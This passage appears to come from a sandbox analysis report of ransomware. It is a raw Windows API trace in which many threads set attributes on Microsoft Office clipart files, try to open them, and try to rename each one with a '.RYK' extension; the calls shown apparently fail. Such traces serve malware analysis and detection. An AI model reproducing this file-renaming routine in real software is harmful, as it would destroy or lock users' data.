	os_tid = 0x3e18

	[0281.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF", dwFileAttributes=0x80) returned 0
	[0282.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.930] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3671
	os_tid = 0x3e1c

	[0281.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF", dwFileAttributes=0x80) returned 0
	[0282.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.928] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3672
	os_tid = 0x3e20

	[0281.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF", dwFileAttributes=0x80) returned 0
	[0282.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.284] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3673
	os_tid = 0x3e24

	[0282.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF", dwFileAttributes=0x80) returned 0
	[0282.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.286] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3674
	os_tid = 0x3e28

	[0282.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF", dwFileAttributes=0x80) returned 0
	[0282.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.288] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3675
	os_tid = 0x3e2c

	[0282.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF", dwFileAttributes=0x80) returned 0
	[0282.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3676
	os_tid = 0x3e30

	[0282.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF", dwFileAttributes=0x80) returned 0
	[0282.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.925] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3677
	os_tid = 0x3e34

	[0282.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF", dwFileAttributes=0x80) returned 0
	[0282.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.923] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3678
	os_tid = 0x3e38

	[0282.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF", dwFileAttributes=0x80) returned 0
	[0282.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3679
	os_tid = 0x3e3c

	[0282.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF", dwFileAttributes=0x80) returned 0
	[0282.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.920] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3680
	os_tid = 0x3e40

	[0282.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF", dwFileAttributes=0x80) returned 0
	[0282.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3683
	os_tid = 0x3e58

	[0282.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF", dwFileAttributes=0x80) returned 0
	[0282.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.918] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3684
	os_tid = 0x3e5c

	[0282.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF", dwFileAttributes=0x80) returned 0
	[0283.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3685
	os_tid = 0x3e60

	[0282.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF", dwFileAttributes=0x80) returned 0
	[0283.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.396] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3686
	os_tid = 0x3e64

	[0282.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF", dwFileAttributes=0x80) returned 0
	[0282.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.915] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3687
	os_tid = 0x3e68

	[0282.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF", dwFileAttributes=0x80) returned 0
	[0283.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.398] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3688
	os_tid = 0x3e6c

	[0282.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF", dwFileAttributes=0x80) returned 0
	[0283.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.399] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3689
	os_tid = 0x3e70

	[0282.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID", dwFileAttributes=0x80) returned 0
	[0282.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.912] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3690
	os_tid = 0x3e74

	[0282.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID", dwFileAttributes=0x80) returned 0
	[0282.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3691
	os_tid = 0x3e78

	[0282.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF", dwFileAttributes=0x80) returned 0
	[0283.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.400] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3692
	os_tid = 0x3e7c

	[0282.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF", dwFileAttributes=0x80) returned 0
	[0282.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.908] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3693
	os_tid = 0x3e80

	[0282.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID", dwFileAttributes=0x80) returned 0
	[0282.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.906] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3695
	os_tid = 0x3e94

	[0282.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID", dwFileAttributes=0x80) returned 0
	[0282.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.888] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3696
	os_tid = 0x3e98

	[0282.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF", dwFileAttributes=0x80) returned 0
	[0283.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.409] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3697
	os_tid = 0x3e9c

	[0282.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF", dwFileAttributes=0x80) returned 0
	[0283.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.408] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3698
	os_tid = 0x3ea0

	[0282.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF", dwFileAttributes=0x80) returned 0
	[0283.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.407] CloseHandle (hObject=0xffffffffffffffff) returned 0
